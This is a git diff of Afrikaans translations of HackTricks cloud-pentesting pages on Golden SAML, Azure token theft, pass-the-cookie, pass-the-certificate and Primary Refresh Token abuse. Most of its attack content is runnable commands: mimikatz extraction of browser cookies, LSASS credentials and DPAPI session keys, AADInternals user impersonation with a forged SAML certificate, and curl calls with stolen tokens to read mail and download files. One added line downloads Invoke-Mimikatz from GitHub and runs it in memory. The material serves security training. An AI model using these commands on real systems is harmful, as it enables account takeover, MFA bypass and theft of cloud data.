 - Meer inligting in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
 
-### Golden SAML
+### Goue SAML
 
 Die proses waar 'n **Identiteitsverskaffer (IdP)** 'n **SAMLResponse** produseer om gebruiker aanmelding te autoriseer, is van kardinale belang. Afhangende van die spesifieke implementering van die IdP, kan die **antwoord** **onderteken** of **geënkripteer** word met die **IdP se privaat sleutel**. Hierdie prosedure stel die **Diensverskaffer (SP)** in staat om die egtheid van die SAMLResponse te bevestig, wat verseker dat dit werklik deur 'n vertroude IdP uitgereik is.
 
-'n Parallel kan getrek word met die [golden ticket aanval](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), waar die sleutel wat die gebruiker se identiteit en regte verifieer (KRBTGT vir golden tickets, token-ondertekenings privaat sleutel vir golden SAML) gemanipuleer kan word om 'n **verifikasie objek** (TGT of SAMLResponse) te vervals. Dit stel in staat om enige gebruiker na te boots, wat ongeoorloofde toegang tot die SP verleen.
+'n Parallel kan getrek word met die [goue kaart aanval](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), waar die sleutel wat die gebruiker se identiteit en regte verifieer (KRBTGT vir goue kaarte, token-ondertekenings privaat sleutel vir goue SAML) gemanipuleer kan word om 'n **verifikasie objek** (TGT of SAMLResponse) te vervals. Dit stel in staat om enige gebruiker na te boots, wat ongeautoriseerde toegang tot die SP verleen.
 
-Golden SAMLs bied sekere voordele:
+Goue SAMLs bied sekere voordele:
 
-- Hulle kan **afgele** word, sonder die behoefte om deel van die domein of federasie in kwestie te wees.
+- Hulle kan **afgeleë geskep** word, sonder die behoefte om deel van die domein of federasie in kwestie te wees.
 - Hulle bly effektief selfs met **Twee-Faktor Verifikasie (2FA)** geaktiveer.
-- Die token-ondertekenings **privaat sleutel hernu nie outomaties nie**.
-- **Die verandering van 'n gebruiker se wagwoord maak nie 'n reeds gegenereerde SAML ongeldig nie**.
+- Die token-ondertekenings **privaat sleutel hernu nie outomaties** nie.
+- **Die verandering van 'n gebruiker se wagwoord maak nie 'n reeds gegenereerde SAML ongeldig nie.**
 
-#### AWS + AD FS + Golden SAML
+#### AWS + AD FS + Goue SAML
 
 [Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) is 'n Microsoft diens wat die **veilige uitruiling van identiteitsinligting** tussen vertroude besigheidsvennote (federasie) fasiliteer. Dit stel in wese 'n domeindiens in staat om gebruikersidentiteite met ander diensverskaffers binne 'n federasie te deel.
 
-Met AWS wat die gecompromitteerde domein vertrou (in 'n federasie), kan hierdie kwesbaarheid benut word om potensieel **enige regte in die AWS-omgewing te verkry**. Die aanval vereis die **privaat sleutel wat gebruik word om die SAML-objekte te onderteken**, soortgelyk aan die behoefte aan die KRBTGT in 'n golden ticket aanval. Toegang tot die AD FS-gebruikersrekening is voldoende om hierdie privaat sleutel te verkry.
+Met AWS wat die gecompromitteerde domein vertrou (in 'n federasie), kan hierdie kwesbaarheid benut word om potensieel **enige regte in die AWS-omgewing te verkry**. Die aanval vereis die **privaat sleutel wat gebruik word om die SAML-objekte te onderteken**, soortgelyk aan die behoefte aan die KRBTGT in 'n goue kaart aanval. Toegang tot die AD FS-gebruikerrekening is voldoende om hierdie privaat sleutel te verkry.
 
-Die vereistes om 'n golden SAML aanval uit te voer sluit in:
+Die vereistes om 'n goue SAML-aanval uit te voer sluit in:
 
 - **Token-ondertekenings privaat sleutel**
 - **IdP publieke sertifikaat**
@@ -82,7 +82,7 @@ Die vereistes om 'n golden SAML aanval uit te voer sluit in:
 
 _Slegs die items in vet is verpligtend. Die ander kan na wens ingevul word._
 
-Om die **privaat sleutel** te verkry, is toegang tot die **AD FS-gebruikersrekening** nodig. Van daar kan die privaat sleutel **uit die persoonlike winkel onttrek word** met behulp van gereedskap soos [mimikatz](https://github.com/gentilkiwi/mimikatz). Om die ander vereiste inligting te versamel, kan jy die Microsoft.Adfs.Powershell snapin soos volg gebruik, terwyl jy seker maak jy is aangemeld as die ADFS-gebruiker:
+Om die **privaat sleutel** te verkry, is toegang tot die **AD FS-gebruikerrekening** nodig. Van daar kan die privaat sleutel **uit die persoonlike winkel onttrek** word met behulp van gereedskap soos [mimikatz](https://github.com/gentilkiwi/mimikatz). Om die ander vereiste inligting te versamel, kan jy die Microsoft.Adfs.Powershell snapin soos volg gebruik, terwyl jy seker maak jy is aangemeld as die ADFS-gebruiker:
 ```bash
 # From an "AD FS" session
 # After having exported the key with mimikatz
@@ -132,7 +132,7 @@ Export-AADIntADFSSigningCertificate
 # Impersonate a user to to access cloud apps
 Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
 ```
-Dit is ook moontlik om ImmutableID van slegs wolk gebruikers te skep en hulle na te boots.
+Dit is ook moontlik om ImmutableID van slegs wolk gebruikers te skep en hulle na te doen.
 ```bash
 # Create a realistic ImmutableID and set it for a cloud only user
 [System.Convert]::ToBase64String((New-Guid).tobytearray())

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md

@@ -5,7 +5,7 @@
 
 ## Dwing Sinchronisasie van Entra ID gebruikers na on-prem
 
-Soos genoem in [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), was dit moontlik om die waarde van **`ProxyAddress`** binne 'n AD gebruiker in die on-prem AD te verander deur die e-pos van 'n Entra ID admin gebruiker by te voeg en ook te verseker dat die UPN van die gebruiker in AD en in Entra ID ooreenstem (dit is weer die Entra ID), soos **`SMTP:admin@domain.onmicrosoft.com`**. En dit sou **die sinchronisasie van hierdie gebruiker** van Entra ID na die on-prem AD dwing, so as die wagwoord van die gebruiker bekend was, kon dit gebruik word om **toegang te verkry tot die admin wat in Entra ID gebruik word.**
+Soos genoem in [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), was dit moontlik om die waarde van **`ProxyAddress`** binne 'n AD gebruiker in die on-prem AD te verander deur die e-pos van 'n Entra ID admin gebruiker by te voeg en ook te verseker dat die UPN van die gebruiker in AD en in Entra ID ooreenstem (dit is die Entra ID weer), soos **`SMTP:admin@domain.onmicrosoft.com`**. En dit sou **die sinchronisasie van hierdie gebruiker** van Entra ID na die on-prem AD dwing, so as die wagwoord van die gebruiker bekend was, kon dit gebruik word om **toegang te verkry tot die admin wat in Entra ID gebruik word.**
 
 Om 'n nuwe gebruiker van Entra ID na die on-prem AD te sinchroniseer, is die vereistes die enigste vereistes:
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md

@@ -1,39 +1,59 @@
-# Az - Plaaslike Wolk Kredensiale
+# Az - Plaaslike Wolk Krediete
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Plaaslike Token Berging en Sekuriteits oorwegings
+## Plaaslike Token Berging en Sekuriteitsoorwegings
 
 ### Azure CLI (Opdraglyn Koppelvlak)
 
 Tokens en sensitiewe data word plaaslik deur Azure CLI gestoor, wat sekuriteitskwessies opwerp:
 
 1. **Toegangstokens**: Gestoor in platte teks binne `accessTokens.json` geleë by `C:\Users\<username>\.Azure`.
-2. **Subskripsie Inligting**: `azureProfile.json`, in dieselfde gids, hou subskripsie besonderhede.
-3. **Loglêers**: Die `ErrorRecords` vouer binne `.azure` mag logs bevat met blootgestelde kredensiale, soos:
+2. **Subskripsie-inligting**: `azureProfile.json`, in dieselfde gids, hou subskripsiedetails.
+3. **Loglêers**: Die `ErrorRecords` gids binne `.azure` mag logs bevat met blootgestelde kredensiale, soos:
 - Uitgevoerde opdragte met kredensiale ingebed.
-- URL's wat met tokens toeganklik gemaak is, wat moontlik sensitiewe inligting kan onthul.
+- URL's wat met tokens toeganklik gemaak is, wat moontlik sensitiewe inligting onthul.
 
 ### Azure PowerShell
 
 Azure PowerShell stoor ook tokens en sensitiewe data, wat plaaslik toeganklik is:
 
 1. **Toegangstokens**: `TokenCache.dat`, geleë by `C:\Users\<username>\.Azure`, stoor toegangstokens in platte teks.
-2. **Diens Prinsipaal Geheimen**: Hierdie word ongeënkripteer in `AzureRmContext.json` gestoor.
+2. **Diens Prinsipaal Geheime**: Hierdie word ongeënkripteer in `AzureRmContext.json` gestoor.
 3. **Token Stoor Funksie**: Gebruikers het die vermoë om tokens te behou met die `Save-AzContext` opdrag, wat versigtig gebruik moet word om ongeoorloofde toegang te voorkom.
 
-## Outomatiese Gereedskap om hulle te vind
+### Outomatiese Gereedskap om hulle te vind
 
 - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
 - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
 
-## Sekuriteitsaanbevelings
+## Tokens in geheue
 
-Aangaande die berging van sensitiewe data in platte teks, is dit van kardinale belang om hierdie lêers en gidse te beveilig deur:
+Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), kan sommige Microsoft sagteware wat met die wolk gesinkroniseer is (Excel, Teams...) **toegangstokens in duidelike teks in geheue stoor**. So net **dumping** die **geheue** van die proses en **grepping vir JWT tokens** mag jou toegang gee oor verskeie hulpbronne van die slagoffer in die wolk wat MFA omseil.
 
-- Toegangregte tot hierdie lêers te beperk.
-- Gereeld hierdie gidse te monitor en te oudit vir ongeoorloofde toegang of onverwagte veranderinge.
-- Enkripsie vir sensitiewe lêers waar moontlik toe te pas.
-- Gebruikers op te voed oor die risiko's en beste praktyke vir die hantering van sulke sensitiewe inligting.
+Stappe:
+
+1. Dump die excel prosesse wat gesinkroniseer is met die EntraID gebruiker met jou gunsteling gereedskap.
+2. Voer uit: `string excel.dmp | grep 'eyJ0'` en vind verskeie tokens in die uitvoer.
+3. Vind die tokens wat jou die meeste interesseer en voer gereedskap oor hulle uit:
+```bash
+# Check the identity of the token
+curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
+
+# Check the email (you need a token authorized in login.microsoftonline.com)
+curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
+
+# Download a file from Teams
+## You need a token that can access graph.microsoft.com
+## Then, find the <site_id> inside the memory and call
+curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
+
+## Then, list one drive
+curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
+
+## Finally, download a file from that drive:
+curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
+```
+**Let daarop dat hierdie tipe toegangstokens ook in ander prosesse gevind kan word.**
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md

@@ -8,11 +8,11 @@ In Azure-verbonden masjiene is dit moontlik om van een masjien na 'n ander te au
 
 In super vereenvoudigde terme:
 
-- Die masjien (klient) wat die verbinding inisieer **het 'n sertifikaat van Entra ID vir 'n gebruiker'** nodig.
-- Klient skep 'n JSON Web Token (JWT) kop wat PRT en ander besonderhede bevat, teken dit met behulp van die Afgeleide sleutel (met die sessiesleutel en die sekuriteitskonteks) en **stuur dit na Entra ID**
+- Die masjien (klient) wat die verbinding inisieer **het 'n sertifikaat van Entra ID vir 'n gebruiker nodig**.
+- Klient skep 'n JSON Web Token (JWT) kop wat PRT en ander besonderhede bevat, teken dit met behulp van die Afgeleide sleutel (met die sessiesleutel en die sekuriteitskonteks) en **stuur dit na Entra ID**.
 - Entra ID verifieer die JWT-handtekening met behulp van die klient se sessiesleutel en sekuriteitskonteks, kontroleer die geldigheid van PRT en **antwoord** met die **sertifikaat**.
 
-In hierdie scenario en nadat al die inligting wat nodig is vir 'n [**Pass the PRT**](pass-the-prt.md) aanval verkry is:
+In hierdie scenario en nadat al die inligting wat nodig is vir 'n [**Pass the PRT**](az-primary-refresh-token-prt.md) aanval verkry is:
 
 - Gebruikersnaam
 - Huurder ID
@@ -24,7 +24,7 @@ Dit is moontlik om 'n **P2P-sertifikaat** vir die gebruiker aan te vra met die h
 ```bash
 RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
 ```
-Die sertifikate sal so lank duur as die PRT. Om die sertifikaat te gebruik, kan jy die python-gereedskap [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) gebruik wat **authentiseer** na die afstandmasjien, **PSEXEC** uitvoer en 'n **CMD** op die slagoffer masjien oopmaak. Dit sal ons toelaat om Mimikatz weer te gebruik om die PRT van 'n ander gebruiker te verkry.
+Die sertifikate sal so lank duur as die PRT. Om die sertifikaat te gebruik, kan jy die python-gereedskap [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) gebruik wat **authentiseer** op die afstandmasjien, **PSEXEC** uitvoer en 'n CMD op die slagoffer masjien oopmaak. Dit sal ons toelaat om Mimikatz weer te gebruik om die PRT van 'n ander gebruiker te verkry.
 ```bash
 Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
 ```

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md

@@ -4,7 +4,7 @@
 
 ## Waarom Koekies?
 
-Bladsy **koekies** is 'n uitstekende meganisme om **autentisering en MFA** te **omseil**. Omdat die gebruiker reeds in die toepassing geoutentiseer is, kan die sessie **koekie** net gebruik word om **data** as daardie gebruiker te **verkry**, sonder om weer te moet autentiseer.
+Bladsy **koekies** is 'n uitstekende meganisme om **autentisering en MFA** te **omseil**. Aangesien die gebruiker reeds in die toepassing geoutentiseer is, kan die sessie **koekie** net gebruik word om **data** as daardie gebruiker te **verkry**, sonder om weer te moet autentiseer.
 
 Jy kan sien waar **bladsy koekies geleë** is in:
 
@@ -14,19 +14,19 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
 
 ## Aanval
 
-Die uitdagende deel is dat daardie **koekies geënkripteer** is vir die **gebruiker** via die Microsoft Data Protection API (**DPAPI**). Dit is geënkripteer met kriptografiese [sleutels wat aan die gebruiker gekoppel is](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) waartoe die koekies behoort. Jy kan meer inligting hieroor vind in:
+Die uitdagende deel is dat daardie **koekies geënkripteer** is vir die **gebruiker** via die Microsoft Data Protection API (**DPAPI**). Dit is geënkripteer met kriptografiese [sleutels wat aan die gebruiker gekoppel is](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) waaraan die koekies behoort. Jy kan meer inligting hieroor vind in:
 
 {{#ref}}
 https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
 {{#endref}}
 
-Met Mimikatz in die hand, kan ek **'n gebruiker se koekies** onttrek, selfs al is hulle geënkripteer met hierdie opdrag:
+Met Mimikatz in die hand, kan ek **'n gebruiker se koekies onttrek** al is hulle geënkripteer met hierdie opdrag:
 ```bash
 mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
 ```
-Vir Azure, is ons bekommerd oor die outentikasie koekies insluitend **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, en **`ESTSAUTHLIGHT`**. Daardie is daar omdat die gebruiker onlangs aktief op Azure was.
+Vir Azure, gee ons om die autentikasie-koekies, insluitend **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, en **`ESTSAUTHLIGHT`**. Hulle is daar omdat die gebruiker onlangs aktief op Azure was.
 
-Net navigeer na login.microsoftonline.com en voeg die koekie **`ESTSAUTHPERSISTENT`** (gegenereer deur die “Stay Signed In” opsie) of **`ESTSAUTH`** by. En jy sal outentiseer wees.
+Navigeer eenvoudig na login.microsoftonline.com en voeg die koekie **`ESTSAUTHPERSISTENT`** (gegenereer deur die “Stay Signed In” opsie) of **`ESTSAUTH`** by. En jy sal geverifieer wees.
 
 ## References
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md

@@ -6,7 +6,7 @@
 
 'n **Primêre Vernuwings Teken (PRT)** is 'n langlewe vernuwings teken wat in Azure AD (Entra ID) verifikasie gebruik word, soortgelyk aan 'n Kerberos TGT. Dit word uitgereik wanneer 'n gebruiker aanmeld op 'n Azure AD-verbonden toestel en kan gebruik word om toegangsteke vir verskeie toepassings aan te vra sonder om weer geloofsbriewe te vra. Elke PRT word vergesel deur 'n **sessiesleutel** (ook genoem 'n Bewys-van-Besit sleutel) -- 'n simmetriese sleutel wat gebruik word om versoeke te teken en te bewys dat die kliënt die PRT het. Die PRT self is 'n ondoorgrondelike, versleutelde blob (nie leesbaar deur die kliënt nie), terwyl die sessiesleutel gebruik word om 'n JWT wat die PRT bevat te **teken** wanneer toegangsteke aangevra word. Met ander woorde, besit van die PRT alleen is onvoldoende; 'n aanvaller het die sessiesleutel nodig om legitimiteit te bewys, soortgelyk aan die behoefte aan beide 'n Kerberos TGT en sy sessiesleutel vir verifikasie.
 
-Op Windows word die PRT en sessiesleutel in die LSASS-proses gebuffer deur die CloudAP-inprop. As 'n toestel 'n **TPM** (Trusted Platform Module) het, bind Azure AD sleutels aan die TPM vir ekstra sekuriteit. Dit beteken dat op TPM-geskikte toestelle, die sessiesleutel binne die TPM gestoor of gebruik word sodat dit nie direk uit geheue gelees kan word nie onder normale omstandighede. As daar geen TPM beskikbaar is nie (bv. baie VM's of ouer stelsels), word die sleutels in sagteware gehou en met DPAPI-versleuteling beskerm. In beide gevalle kan 'n aanvaller met administratiewe regte of kode-uitvoering op die masjien probeer om die **PRT en sessiesleutel uit geheue te dump** as deel van post-exploitatie, en dit dan gebruik om die gebruiker in die wolk na te doen. Anders as tipiese vernuwings teken (wat gewoonlik toepassings-spesifiek is), is 'n PRT breër, wat jou toestel in staat stel om toegangsteke vir byna enige Entra ID-geïntegreerde hulpbron of diens aan te vra.
+Op Windows word die PRT en sessiesleutel in die LSASS-proses gebuffer deur die CloudAP-inprop. As 'n toestel 'n **TPM** (Trusted Platform Module) het, bind Azure AD sleutels aan die TPM vir ekstra sekuriteit. Dit beteken dat op TPM-geskikte toestelle, die sessiesleutel gestoor of gebruik word binne die TPM sodat dit nie direk uit geheue gelees kan word nie onder normale omstandighede. As daar geen TPM beskikbaar is nie (bv. baie VM's of ouer stelsels), word die sleutels in sagteware gehou en beskerm met DPAPI-versleuteling. In beide gevalle kan 'n aanvaller met administratiewe regte of kode-uitvoering op die masjien probeer om die **PRT en sessiesleutel uit geheue te dump** as deel van post-exploitatie, en dit dan gebruik om die gebruiker in die wolk na te boots. Anders as tipiese vernuwings teken (wat gewoonlik toepassings-spesifiek is), is 'n PRT breër, wat jou toestel in staat stel om toegangsteke vir byna enige Entra ID-geïntegreerde hulpbron of diens aan te vra.
 
 ## Hoe Werk 'n PRT?
 
@@ -22,9 +22,9 @@ Hier is 'n vereenvoudigde uiteensetting van hoe 'n PRT werk:
 
 -   Die PRT word veilig op jou toestel gestoor, dikwels beskerm deur hardeware funksies soos die Trusted Platform Module (TPM), wat verseker dat dit moeilik is vir ongeoorloofde partye om dit te onttrek of te misbruik.
 
-3.  **Enkel Aanmelding (SSO):**
+3.  **Enkele Aanmelding (SSO):**
 
--   Elke keer wanneer jy toegang tot 'n Entra ID-beskermde toepassing (bv. Microsoft 365 toepassings, SharePoint, Teams) verkry, gebruik jou toestel stilweg die gestoor PRT om 'n spesifieke toegangsteken vir daardie toepassing aan te vra en te verkry.
+-   Elke keer wanneer jy toegang verkry tot 'n Entra ID-beskermde toepassing (bv. Microsoft 365 toepassings, SharePoint, Teams), gebruik jou toestel stilweg die gestoor PRT om 'n spesifieke toegangsteken vir daardie toepassing aan te vra en te verkry.
 
 -   Jy hoef nie jou geloofsbriewe herhaaldelik in te voer nie omdat die PRT verifikasie deursigtig hanteer.
 
@@ -61,23 +61,34 @@ dsregcmd /status
 # KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
 # Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
 ```
-## Dump en gebruik onbeskermde PRTs
+## Pas die PRT
 
-Volgens [hierdie pos](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) op Windows-toestelle **sonder TPM-binding**, woon die PRT en sy sessiesleutel in LSASS (CloudAP-plug‑in). Met plaaslike admin/SYSTEM op daardie toestel, kan die PRT-blob en die DPAPI-gesleutelde sessiesleutel **van LSASS gelees word, die sessiesleutel via DPAPI gedekripteer word, en die ondertekeningsleutel afgelei word** om 'n geldige PRT-koekie (`x‑ms‑RefreshTokenCredential`) te maak. Jy het beide die PRT en sy sessiesleutel nodig—die PRT-string alleen is nie genoeg nie.
+Volgens [hierdie pos](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) op Windows-toestelle **sonder TPM-binding**, woon die PRT en sy sessiesleutel in LSASS (CloudAP-plug‑in). Met plaaslike admin/SYSTEM op daardie toestel, kan die PRT-blob en die DPAPI-geënkripteerde sessiesleutel **van LSASS gelees word, die sessiesleutel via DPAPI gedekripteer word, en die ondertekeningsleutel afgelei** word om 'n geldige PRT-koekie (`x‑ms‑RefreshTokenCredential`) te maak. Jy het beide die PRT en sy sessiesleutel nodig—die PRT-string alleen is nie genoeg nie.
 
 ### Mimikatz
+
+1. Die **PRT (Primêre Vernuwingsleutel) word uit LSASS** (Local Security Authority Subsystem Service) onttrek en gestoor vir latere gebruik.
+2. Die **Sessiesleutel word volgende onttrek**. Aangesien hierdie sleutel aanvanklik uitgereik word en dan weer geënkripteer word deur die plaaslike toestel, vereis dit dekriptering met 'n DPAPI-meester sleutel. Gedetailleerde inligting oor DPAPI (Data Protection API) kan in hierdie hulpbronne gevind word: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) en vir 'n begrip van sy toepassing, verwys na [Pass-the-cookie aanval](az-pass-the-cookie.md).
+3. Na dekriptering van die Sessiesleutel, word die **afgeleide sleutel en konteks vir die PRT verkry**. Hierdie is noodsaaklik vir die **skepping van die PRT-koekie**. Spesifiek, die afgeleide sleutel word gebruik om die JWT (JSON Web Token) wat die koekie vorm, te onderteken. 'n Omvattende verduideliking van hierdie proses is deur Dirk-jan verskaf, beskikbaar [hier](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
 ```bash
 privilege::debug
 sekurlsa::cloudap
+
+# Or in powershell
+iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
+Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
 ```
 Die **PRT-veld** bevat die geënkripteerde herlaaikas (tipies 'n base64-string), en KeyValue in die ProofOfPossessionKey is die DPAPI-geënkripteerde sessiesleutel (ook base64).
 
-Kopieer dan die base64-blob van **`KeyValue`** binne die veld `ProofOfPossessionKey` uit die **`sekurlsa::cloudap`** uitvoer (dit is die sessiesleutel geënkripteer met DPAPI). Hierdie geënkripteerde sleutel kan nie soos dit is gebruik word nie – dit moet ontkrip word met die stelsel se DPAPI-akkrediteer.
+Kopieer dan die base64-blob van **`KeyValue`** binne die veld `ProofOfPossessionKey` uit die **`sekurlsa::cloudap`** uitvoer (dit is die sessiesleutel geënkripteer met DPAPI). Hierdie geënkripteerde sleutel kan nie soos dit is gebruik word nie – dit moet ontkrip word met behulp van die stelsel se DPAPI-akkrediteer.
 
-Omdat DPAPI-enkripsie vir stelselskeppings die masjien se stelselskonteks vereis, verhoog jou token na SYSTEM en gebruik Mimikatz se DPAPI-modules om te ontkrip:
+Omdat DPAPI-enkripsie vir stelselsiektes die masjien se stelsels konteks vereis, verhoog jou token na SYSTEM en gebruik Mimikatz se DPAPI-modules om te ontkrip:
 ```bash
 token::elevate
 dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
+
+# PowerShell version
+Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
 ```
 Die `token::elevate` sal SYSTEM naboots en die `dpapi::cloudapkd` opdrag met `/unprotect` sal die DPAPI meester sleutel gebruik om die verskafde KeyValue blob te ontsleutel. Dit lewer die duidelike teks sessiesleutel en ook die geassosieerde Afgeleide Sleutel en Konteks wat gebruik is vir ondertekening:
 - **Duidelike sleutel** – die 32-byte sessiesleutel in platte teks (verteenwoordig as 'n hex string).
@@ -94,12 +105,11 @@ Dan kan jy ook mimikatz gebruik om 'n geldige PRT koekie te genereer:
 # PRT is obtained from sekurlsa::cloudap (filed "Prt"
 dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
 ```
-Mimikatz sal 'n geskrewe JWT (die `PRT cookie`) uitset na die lyn “Signature with key”, wat die PRT bevat en onderteken is met die afgeleide sleutel. Hierdie JWT kan gekopieer word en dan in 'n websessie gebruik word. Byvoorbeeld, 'n aanvaller kan 'n blaaier oopmaak, na `login.microsoftonline.com` gaan, en 'n koekie genaamd `x-ms-RefreshTokenCredential` stel met die waarde wat hierdie JWT is. Wanneer die blaaiers herlaai of navigeer, sal Azure AD die sessie as geverifieer behandel (die PRT cookie word aangebied asof SSO plaasgevind het), en dit sal 'n magtigingskode of toegangstoken vir die gespesifiseerde hulpbron uitreik. In praktyk, sou 'n mens na 'n hulpbron soos Office 365 of Azure-portaal navigeer; die teenwoordigheid van 'n geldige PRT cookie beteken dat Azure AD toegang sal verleen sonder addisionele aanmelding (om MFA te omseil, aangesien die PRT reeds geverifieer is).
+Mimikatz sal 'n geskrewe JWT (die `PRT koekie`) uitset na die lyn “Handtekening met sleutel”, wat die PRT bevat en onderteken is met die afgeleide sleutel. Hierdie JWT kan gekopieer word en dan in 'n websessie gebruik word. Byvoorbeeld, 'n aanvaller kan 'n blaaier oopmaak, na `login.microsoftonline.com` gaan, en 'n koekie genaamd `x-ms-RefreshTokenCredential` stel met die waarde wat hierdie JWT is. Wanneer die blaaiers herlaai of navigeer, sal Azure AD die sessie as geverifieer beskou (die PRT koekie word aangebied asof SSO plaasgevind het), en dit sal 'n magtigingskode of toegangstoken vir die gespesifiseerde hulpbron uitreik. In praktyk, sou 'n mens na 'n hulpbron soos Office 365 of Azure-portaal navigeer; die teenwoordigheid van 'n geldige PRT koekie beteken dat Azure AD toegang sal verleen sonder addisionele aanmelding (om MFA te omseil, aangesien die PRT reeds geverifieer is).
 
-Jy kan ook **`roadtx`** en **`roadrecon`** met die PRT van die PRT cookie gebruik om die gebruiker na te boots *(TODO: Vind die presiese opdraglyne om roadtx/roadrecon te gebruik om akrediteer te verkry van 'n PRT)*.
+Jy kan ook **`roadtx`** en **`roadrecon`** gebruik met die PRT van die PRT koekie om die gebruiker na te boots *(TODO: Vind die presiese opdraglyne om roadtx/roadrecon te gebruik om akrediteer te verkry van 'n PRT)*.
 
-
-### AADInternals
+### Mimikatz + AADInternals
 
 Die **`AADInternals`** PowerShell-module kan ook gebruik word met die voorheen verkryde PRT en sessiesleutel om 'n geldige PRT-token te genereer. Dit is nuttig om die proses van die verkryging van 'n nuwe PRT-token met nonce te outomatiseer, wat gebruik kan word om toegangstokens vir Azure AD Graph API of ander hulpbronne te verkry:
 ```bash
@@ -125,23 +135,42 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
 # Get an access token for MS Graph API
 Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
 ```
-This obtains a fresh PRT cookie (with a nonce) and then uses it to fetch an access token for the Azure AD Graph API(demonstrating cloud access on behalf of the user). AADInternals abstracts much of the cryptography and uses Windows components or its own logic under the hood.
+Dit verkry 'n vars PRT-koekie (met 'n nonce) en gebruik dit dan om 'n toegangstoken vir die Azure AD Graph API te verkry (wat wolktoegang namens die gebruiker demonstreer). AADInternals abstraheer baie van die kriptografie en gebruik Windows-komponente of sy eie logika agter die skerms.
 
+### Mimikatz + roadtx
+
+- Verleng eers die PRT, wat dit in `roadtx.prt` sal stoor:
+```bash
+roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
+```
+- Nou kan ons **tokens versoek** met die interaktiewe blaaiert met `roadtx browserprtauth`. As ons die `roadtx describe` opdrag gebruik, sien ons die toegangstoken sluit 'n MFA-eis in omdat die PRT wat ek in hierdie geval gebruik het ook 'n MFA-eis gehad het.
+```bash
+roadtx browserprtauth
+roadtx describe < .roadtools_auth
+```
+<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
+
+#### Mimikatz + roadrecon
+
+Met die konteks en die afgeleide sleutel wat deur mimikatz gedump is, is dit moontlik om roadrecon te gebruik om 'n nuwe geskrewe koekie te genereer met:
+```bash
+roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
+```
 ## Misbruik van beskermde PRTs
 
